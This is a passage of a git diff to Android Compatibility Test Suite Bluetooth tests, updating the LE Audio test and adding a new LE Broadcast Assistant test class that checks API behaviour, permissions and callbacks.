+        public void onCodecConfigChanged(int groupId,
+                BluetoothLeAudioCodecStatus status) {
+            mCodecConfigChangedCalled = true;
+            assertTrue(groupId == mTestGroupId);
+            assertTrue(status == TEST_CODEC_STATUS);
+        }
+        @Override
+        public void onGroupNodeAdded(BluetoothDevice device, int groupId) {
+            mGroupNodeAddedCalled = true;
+            assertTrue(groupId == mTestGroupId);
+            assertTrue(device == mTestDevice);
+        }
+        @Override
+        public void onGroupNodeRemoved(BluetoothDevice device, int groupId) {
+            mGroupNodeRemovedCalled = true;
+            assertTrue(groupId == mTestGroupId);
+            assertTrue(device == mTestDevice);
+        }
+        @Override
+        public void onGroupStatusChanged(int groupId, int groupStatus) {
+            mGroupStatusChangedCalled = true;
+            assertTrue(groupId == mTestGroupId);
+            assertTrue(groupStatus == mTestGroupStatus);
+        }
+    };
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S)) {
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
             mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
                     PackageManager.FEATURE_BLUETOOTH);
-
             if (!mHasBluetooth) return;
+
+            TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+
             BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
             mAdapter = manager.getAdapter();
             assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
@@ -67,34 +130,37 @@
             mIsProfileReady = false;
             mBluetoothLeAudio = null;
 
-            Resources bluetoothResources = mContext.getPackageManager().getResourcesForApplication(
-                    "com.android.bluetooth");
-            int leAudioSupportId = bluetoothResources.getIdentifier(
-                    PROFILE_SUPPORTED_LE_AUDIO, "bool", "com.android.bluetooth");
-            if (leAudioSupportId == 0) return;
-            mIsLeAudioSupported = bluetoothResources.getBoolean(leAudioSupportId);
+            mIsLeAudioSupported = (mAdapter.isLeAudioSupported()
+                    == BluetoothStatusCodes.FEATURE_SUPPORTED);
             if (!mIsLeAudioSupported) return;
 
             mAdapter.getProfileProxy(getContext(), new BluetoothLeAudioServiceListener(),
-                    LE_AUDIO_PROFILE_CONSTANT);
+                    BluetoothProfile.LE_AUDIO);
+
+            mTestExecutor = mContext.getMainExecutor();
+            mTestCallback = new TestCallback();
         }
     }
 
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        if (mHasBluetooth) {
-            if (mAdapter != null && mBluetoothLeAudio != null) {
-                mBluetoothLeAudio.close();
-                mBluetoothLeAudio = null;
-                mIsProfileReady = false;
-            }
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
-            mAdapter = null;
+        if (!(mHasBluetooth && mIsLeAudioSupported)) {
+            return;
         }
+        if (mBluetoothLeAudio != null) {
+            mBluetoothLeAudio.close();
+            mBluetoothLeAudio = null;
+            mIsProfileReady = false;
+        }
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        TestUtils.dropPermissionAsShellUid();
+        mAdapter = null;
     }
 
-    public void testGetConnectedDevices() {
+    public void test_getConnectedDevices() {
         if (!(mHasBluetooth && mIsLeAudioSupported)) return;
 
         assertTrue(waitForProfileConnect());
@@ -107,7 +173,7 @@
         assertTrue(connectedDevices.isEmpty());
     }
 
-    public void testGetDevicesMatchingConnectionStates() {
+    public void test_getDevicesMatchingConnectionStates() {
         if (!(mHasBluetooth && mIsLeAudioSupported)) return;
 
         assertTrue(waitForProfileConnect());
@@ -121,13 +187,13 @@
         assertTrue(connectedDevices.isEmpty());
     }
 
-    public void testGetConnectionState() {
+    public void test_getConnectionState() {
         if (!(mHasBluetooth && mIsLeAudioSupported)) return;
 
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeAudio);
 
-        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        mTestDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
 
         // Verify returns false when invalid input is given
         assertEquals(BluetoothProfile.STATE_DISCONNECTED,
@@ -137,7 +203,179 @@
 
         // Verify returns false if bluetooth is not enabled
         assertEquals(BluetoothProfile.STATE_DISCONNECTED,
-                mBluetoothLeAudio.getConnectionState(testDevice));
+                mBluetoothLeAudio.getConnectionState(mTestDevice));
+    }
+
+    public void test_getAudioLocation() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        mTestDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns false if bluetooth is not enabled
+        assertEquals(BluetoothLeAudio.AUDIO_LOCATION_INVALID,
+                mBluetoothLeAudio.getAudioLocation(mTestDevice));
+    }
+
+    public void test_setgetConnectionPolicy() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        assertFalse(mBluetoothLeAudio.setConnectionPolicy(null, 0));
+        assertEquals(BluetoothProfile.CONNECTION_POLICY_FORBIDDEN,
+                mBluetoothLeAudio.getConnectionPolicy(null));
+    }
+
+    public void test_registerCallbackNoPermission() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+
+        TestUtils.dropPermissionAsShellUid();
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothLeAudio.registerCallback(mTestExecutor, mTestCallback));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    public void test_registerUnregisterCallback() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        // Verify parameter
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothLeAudio.registerCallback(null, mTestCallback));
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothLeAudio.registerCallback(mTestExecutor, null));
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothLeAudio.unregisterCallback(null));
+
+        // Test success register unregister
+        try {
+            mBluetoothLeAudio.registerCallback(mTestExecutor, mTestCallback);
+        } catch (Exception e) {
+            fail("Exception caught from register(): " + e.toString());
+        }
+
+        try {
+            mBluetoothLeAudio.unregisterCallback(mTestCallback);
+        } catch (Exception e) {
+            fail("Exception caught from unregister(): " + e.toString());
+        }
+    }
+
+    public void test_callback() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        mTestGroupId = 1;
+        mTestDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        mTestGroupStatus = 0;
+
+        mCodecConfigChangedCalled = false;
+        mGroupNodeAddedCalled = false;
+        mGroupStatusChangedCalled = false;
+        mGroupNodeRemovedCalled = false;
+
+        mTestCallback.onCodecConfigChanged(mTestGroupId, TEST_CODEC_STATUS);
+        mTestCallback.onGroupNodeAdded(mTestDevice, mTestGroupId);
+        mTestCallback.onGroupNodeRemoved(mTestDevice, mTestGroupId);
+        mTestCallback.onGroupStatusChanged(mTestGroupId, mTestGroupStatus);
+
+        assertTrue(mCodecConfigChangedCalled);
+        assertTrue(mGroupNodeAddedCalled);
+        assertTrue(mGroupNodeRemovedCalled);
+        assertTrue(mGroupStatusChangedCalled);
+    }
+
+    public void test_getConnectedGroupLeadDevice() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        int groupId = 1;
+
+        // Verify returns null for unknown group id
+        assertEquals(null, mBluetoothLeAudio.getConnectedGroupLeadDevice(groupId));
+    }
+
+    public void test_setVolume() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        try {
+            mBluetoothLeAudio.setVolume(42);
+        } catch (Exception e) {
+            fail("Exception caught from setVolume(): " + e.toString());
+        }
+    }
+
+    public void test_getCodecStatus() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        assertNull(mBluetoothLeAudio.getCodecStatus(0));
+    }
+
+    public void test_setCodecConfigPreference() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        BluetoothLeAudioCodecConfig codecConfig =
+                new BluetoothLeAudioCodecConfig.Builder()
+                        .setCodecType(BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3)
+                        .setCodecPriority(0)
+                        .build();
+
+        assertThrows(
+                NullPointerException.class,
+                () -> {
+                    mBluetoothLeAudio.setCodecConfigPreference(0, null, null);
+                });
+
+        try {
+            mBluetoothLeAudio.setCodecConfigPreference(0, codecConfig, codecConfig);
+        } catch (Exception e) {
+            fail("Exception caught from setCodecConfigPreference(): " + e.toString());
+        }
+    }
+
+    @CddTest(requirements = {"3.5/C-0-9"})
+    public void test_getGroupId() {
+        if (!(mHasBluetooth && mIsLeAudioSupported)) return;
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeAudio);
+
+        BluetoothDevice device = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        try {
+            TestUtils.dropPermissionAsShellUid();
+            TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+            mBluetoothLeAudio.getGroupId(device);
+        } catch (Exception e) {
+            fail("Exception caught from getGroupId(): " + e.toString());
+        } finally {
+            TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+        }
     }
 
     private boolean waitForProfileConnect() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java
new file mode 100644
index 0000000..d1e08fc
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java
@@ -0,0 +1,598 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
+import android.bluetooth.BluetoothLeAudioContentMetadata;
+import android.bluetooth.BluetoothLeBroadcastAssistant;
+import android.bluetooth.BluetoothLeBroadcastChannel;
+import android.bluetooth.BluetoothLeBroadcastMetadata;
+import android.bluetooth.BluetoothLeBroadcastReceiveState;
+import android.bluetooth.BluetoothLeBroadcastSubgroup;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.content.Context;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothLeBroadcastAssistantTest {
+    private static final String TAG = BluetoothLeBroadcastAssistantTest.class.getSimpleName();
+
+    private static final int START_SEARCH_TIMEOUT_MS = 100;
+    private static final int ADD_SOURCE_TIMEOUT_MS = 100;
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private static final String TEST_ADDRESS_1 = "EF:11:22:33:44:55";
+    private static final String TEST_ADDRESS_2 = "EF:11:22:33:44:66";
+    private static final int TEST_BROADCAST_ID = 42;
+    private static final int TEST_ADVERTISER_SID = 1234;
+    private static final int TEST_PA_SYNC_INTERVAL = 100;
+    private static final int TEST_PRESENTATION_DELAY_MS = 345;
+
+    private static final int TEST_CODEC_ID = 42;
+
+    // For BluetoothLeAudioCodecConfigMetadata
+    private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
+
+    // For BluetoothLeAudioContentMetadata
+    private static final String TEST_PROGRAM_INFO = "Test";
+    // German language code in ISO 639-3
+    private static final String TEST_LANGUAGE = "deu";
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    Executor mExecutor;
+
+    private BluetoothLeBroadcastAssistant mBluetoothLeBroadcastAssistant;
+    private boolean mIsBroadcastAssistantSupported;
+    private boolean mIsProfileReady;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedLock;
+
+    @Mock
+    BluetoothLeBroadcastAssistant.Callback mCallbacks;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+        MockitoAnnotations.initMocks(this);
+        mExecutor = mContext.getMainExecutor();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mProfileConnectedLock = new ReentrantLock();
+        mConditionProfileIsConnected = mProfileConnectedLock.newCondition();
+        mIsProfileReady = false;
+        mBluetoothLeBroadcastAssistant = null;
+
+        mIsBroadcastAssistantSupported =
+                mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastAssistantSupported) {
+            boolean isBroadcastAssistantEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastAssistantEnabledInConfig);
+        }
+
+        mAdapter.getProfileProxy(mContext, new ServiceListener(),
+                BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+    }
+
+    @After
+    public void tearDown() {
+        if (mHasBluetooth) {
+            if (mAdapter != null && mBluetoothLeBroadcastAssistant != null) {
+                mAdapter.closeProfileProxy(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT,
+                        mBluetoothLeBroadcastAssistant);
+                mBluetoothLeBroadcastAssistant = null;
+                mIsProfileReady = false;
+            }
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
+            mAdapter = null;
+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    @Test
+    public void testAddSource() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+        BluetoothDevice testSourceDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        BluetoothLeBroadcastMetadata.Builder builder = new BluetoothLeBroadcastMetadata.Builder()
+                .setEncrypted(false)
+                .setSourceDevice(testSourceDevice, BluetoothDevice.ADDRESS_TYPE_RANDOM)
+                .setSourceAdvertisingSid(TEST_ADVERTISER_SID)
+                .setBroadcastId(TEST_BROADCAST_ID)
+                .setBroadcastCode(null)
+                .setPaSyncInterval(TEST_PA_SYNC_INTERVAL)
+                .setPresentationDelayMicros(TEST_PRESENTATION_DELAY_MS);
+
+        BluetoothLeBroadcastSubgroup[] subgroups = new BluetoothLeBroadcastSubgroup[] {
+                createBroadcastSubgroup()
+        };
+        for (BluetoothLeBroadcastSubgroup subgroup : subgroups) {
+            builder.addSubgroup(subgroup);
+        }
+        BluetoothLeBroadcastMetadata metadata = builder.build();
+
+        // Verifies that it throws exception when no callback is registered
+        assertThrows(IllegalStateException.class, () -> mBluetoothLeBroadcastAssistant
+                .addSource(testDevice, metadata, true));
+
+        mBluetoothLeBroadcastAssistant.registerCallback(mExecutor, mCallbacks);
+
+        // Verify that exceptions is thrown when sink or source is null
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .addSource(testDevice, null, true));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .addSource(null, metadata, true));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .addSource(null, null, true));
+
+        // Verify that adding source to unknown test device will fail
+        mBluetoothLeBroadcastAssistant.addSource(testDevice, metadata, true);
+        verify(mCallbacks, timeout(ADD_SOURCE_TIMEOUT_MS)).onSourceAddFailed(testDevice, metadata,
+                BluetoothStatusCodes.ERROR_REMOTE_LINK_ERROR);
+
+        // Verify that removing null source device will throw exception
+        assertThrows(NullPointerException.class,
+                () -> mBluetoothLeBroadcastAssistant.removeSource(null, 0));
+
+        // Verify that removing unknown device will fail
+        mBluetoothLeBroadcastAssistant.removeSource(testDevice, 0);
+        verify(mCallbacks, timeout(ADD_SOURCE_TIMEOUT_MS)).onSourceRemoveFailed(
+                testDevice, 0, BluetoothStatusCodes.ERROR_REMOTE_LINK_ERROR);
+
+        // Do not forget to unregister callbacks
+        mBluetoothLeBroadcastAssistant.unregisterCallback(mCallbacks);
+    }
+
+    @Test
+    public void testGetAllSources() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        // Verify implementation throws exception when input is null
+        assertThrows(NullPointerException.class,
+                () -> mBluetoothLeBroadcastAssistant.getAllSources(null));
+
+        // Verify returns empty list if a device is not connected
+        assertTrue(mBluetoothLeBroadcastAssistant.getAllSources(testDevice).isEmpty());
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        // Verify returns empty list if bluetooth is not enabled
+        assertTrue(mBluetoothLeBroadcastAssistant.getAllSources(testDevice).isEmpty());
+    }
+
+    @Test
+    public void testSetConnectionPolicy() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        // Verify that it returns unknown for an unknown test device
+        assertEquals(BluetoothProfile.CONNECTION_POLICY_UNKNOWN,
+                mBluetoothLeBroadcastAssistant.getConnectionPolicy(testDevice));
+
+        // Verify that it returns true even for an unknown test device
+        assertTrue(mBluetoothLeBroadcastAssistant.setConnectionPolicy(testDevice,
+                    BluetoothProfile.CONNECTION_POLICY_ALLOWED));
+
+        // Verify that it returns the same value we set before
+        assertEquals(BluetoothProfile.CONNECTION_POLICY_ALLOWED,
+                mBluetoothLeBroadcastAssistant.getConnectionPolicy(testDevice));
+    }
+
+    @Test
+    public void testGetMaximumSourceCapacity() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        // Verifies that it returns 0 for an unknown test device
+        assertEquals(mBluetoothLeBroadcastAssistant.getMaximumSourceCapacity(testDevice), 0);
+
+        // Verifies that it throws exception when input is null
+        assertThrows(NullPointerException.class,
+                () -> mBluetoothLeBroadcastAssistant.getMaximumSourceCapacity(null));
+    }
+
+    @Test
+    public void testIsSearchInProgress() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        // Verify that it returns false when search is not in progress
+        assertFalse(mBluetoothLeBroadcastAssistant.isSearchInProgress());
+    }
+
+    @Test
+    public void testModifySource() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+        BluetoothDevice testSourceDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        BluetoothLeBroadcastMetadata.Builder builder = new BluetoothLeBroadcastMetadata.Builder()
+                .setEncrypted(false)
+                .setSourceDevice(testSourceDevice, BluetoothDevice.ADDRESS_TYPE_RANDOM)
+                .setSourceAdvertisingSid(TEST_ADVERTISER_SID)
+                .setBroadcastId(TEST_BROADCAST_ID)
+                .setBroadcastCode(null)
+                .setPaSyncInterval(TEST_PA_SYNC_INTERVAL)
+                .setPresentationDelayMicros(TEST_PRESENTATION_DELAY_MS);
+
+        BluetoothLeBroadcastSubgroup[] subgroups = new BluetoothLeBroadcastSubgroup[] {
+                createBroadcastSubgroup()
+        };
+        for (BluetoothLeBroadcastSubgroup subgroup : subgroups) {
+            builder.addSubgroup(subgroup);
+        }
+        BluetoothLeBroadcastMetadata metadata = builder.build();
+
+        // Verifies that it throws exception when callback is not registered
+        assertThrows(IllegalStateException.class, () -> mBluetoothLeBroadcastAssistant
+                .modifySource(testDevice, 0, metadata));
+
+        mBluetoothLeBroadcastAssistant.registerCallback(mExecutor, mCallbacks);
+
+        // Verifies that it throws exception when argument is null
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .modifySource(null, 0, null));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .modifySource(testDevice, 0, null));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .modifySource(null, 0, metadata));
+
+        // Verify failure callback when test device is not connected
+        mBluetoothLeBroadcastAssistant.modifySource(testDevice, 0, metadata);
+        verify(mCallbacks, timeout(ADD_SOURCE_TIMEOUT_MS)).onSourceModifyFailed(
+                testDevice, 0, BluetoothStatusCodes.ERROR_REMOTE_LINK_ERROR);
+    }
+
+    @Test
+    public void testRegisterCallback() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        Executor executor = mContext.getMainExecutor();
+        BluetoothLeBroadcastAssistant.Callback callback =
+                new BluetoothLeBroadcastAssistant.Callback() {
+                    @Override
+                    public void onSearchStarted(int reason) {}
+                    @Override
+                    public void onSearchStartFailed(int reason) {}
+                    @Override
+                    public void onSearchStopped(int reason) {}
+                    @Override
+                    public void onSearchStopFailed(int reason) {}
+                    @Override
+                    public void onSourceFound(BluetoothLeBroadcastMetadata source) {}
+                    @Override
+                    public void onSourceAdded(BluetoothDevice sink, int sourceId, int reason) {}
+                    @Override
+                    public void onSourceAddFailed(BluetoothDevice sink,
+                            BluetoothLeBroadcastMetadata source, int reason) {}
+                    @Override
+                    public void onSourceModified(BluetoothDevice sink, int sourceId, int reason) {}
+                    @Override
+                    public void onSourceModifyFailed(
+                            BluetoothDevice sink, int sourceId, int reason) {}
+                    @Override
+                    public void onSourceRemoved(BluetoothDevice sink, int sourceId, int reason) {}
+                    @Override
+                    public void onSourceRemoveFailed(
+                            BluetoothDevice sink, int sourceId, int reason) {}
+                    @Override
+                    public void onReceiveStateChanged(BluetoothDevice sink, int sourceId,
+                            BluetoothLeBroadcastReceiveState state) {}
+                };
+        // empty calls to callback override
+        callback.onSearchStarted(0);
+        callback.onSearchStartFailed(0);
+        callback.onSearchStopped(0);
+        callback.onSearchStopFailed(0);
+        callback.onSourceFound(null);
+        callback.onSourceAdded(null, 0, 0);
+        callback.onSourceAddFailed(null, null, 0);
+        callback.onSourceModified(null, 0, 0);
+        callback.onSourceModifyFailed(null, 0, 0);
+        callback.onSourceRemoved(null, 0, 0);
+        callback.onSourceRemoveFailed(null, 0, 0);
+        callback.onReceiveStateChanged(null, 0, null);
+
+        // Verify parameter
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .registerCallback(null, callback));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .registerCallback(executor, null));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .unregisterCallback(null));
+
+
+        // Verify that register and unregister callback will not cause any crush issues
+        mBluetoothLeBroadcastAssistant.registerCallback(executor, callback);
+        mBluetoothLeBroadcastAssistant.unregisterCallback(callback);
+    }
+
+    @Test
+    public void testStartSearchingForSources() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        // Verifies that it throws exception when no callback is registered
+        assertThrows(IllegalStateException.class, () -> mBluetoothLeBroadcastAssistant
+                .startSearchingForSources(Collections.emptyList()));
+
+        mBluetoothLeBroadcastAssistant.registerCallback(mExecutor, mCallbacks);
+
+        // Verifies that it throws exception when filter is null
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .startSearchingForSources(null));
+
+        // Verify that starting search triggers callback with the right reason
+        mBluetoothLeBroadcastAssistant.startSearchingForSources(Collections.emptyList());
+        verify(mCallbacks, timeout(START_SEARCH_TIMEOUT_MS))
+                .onSearchStarted(BluetoothStatusCodes.REASON_LOCAL_APP_REQUEST);
+
+        // Verify search state is right
+        assertTrue(mBluetoothLeBroadcastAssistant.isSearchInProgress());
+
+        // Verify that stopping search triggers the callback with the right reason
+        mBluetoothLeBroadcastAssistant.stopSearchingForSources();
+        verify(mCallbacks, timeout(START_SEARCH_TIMEOUT_MS))
+                .onSearchStarted(BluetoothStatusCodes.REASON_LOCAL_APP_REQUEST);
+
+        // Verify search state is right
+        assertFalse(mBluetoothLeBroadcastAssistant.isSearchInProgress());
+
+        // Do not forget to unregister callbacks
+        mBluetoothLeBroadcastAssistant.unregisterCallback(mCallbacks);
+    }
+
+    @Test
+    public void testGetConnectedDevices() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        // Verify returns empty list if no broadcast assistant device is connected
+        List<BluetoothDevice> connectedDevices =
+                mBluetoothLeBroadcastAssistant.getConnectedDevices();
+        assertNotNull(connectedDevices);
+        assertTrue(connectedDevices.isEmpty());
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns empty list if bluetooth is not enabled
+        connectedDevices = mBluetoothLeBroadcastAssistant.getConnectedDevices();
+        assertNotNull(connectedDevices);
+        assertTrue(connectedDevices.isEmpty());
+    }
+
+    @Test
+    public void testGetDevicesMatchingConnectionStates() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        // Verify returns empty list if no broadcast assistant device is connected
+        int[] states = {BluetoothProfile.STATE_CONNECTED};
+        List<BluetoothDevice> connectedDevices =
+                mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(states);
+        assertNotNull(connectedDevices);
+        assertTrue(connectedDevices.isEmpty());
+
+        // Verify exception is thrown when null input is given
+        assertThrows(NullPointerException.class,
+                () -> mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(null));
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns empty list if bluetooth is not enabled
+        connectedDevices =
+                mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(states);
+        assertNotNull(connectedDevices);
+        assertTrue(connectedDevices.isEmpty());
+    }
+
+    @Test
+    public void testGetConnectionState() {
+        if (shouldSkipTest()) {
+            return;
+        }
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcastAssistant);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        // Verify exception is thrown when null input is given
+        assertThrows(NullPointerException.class, () ->
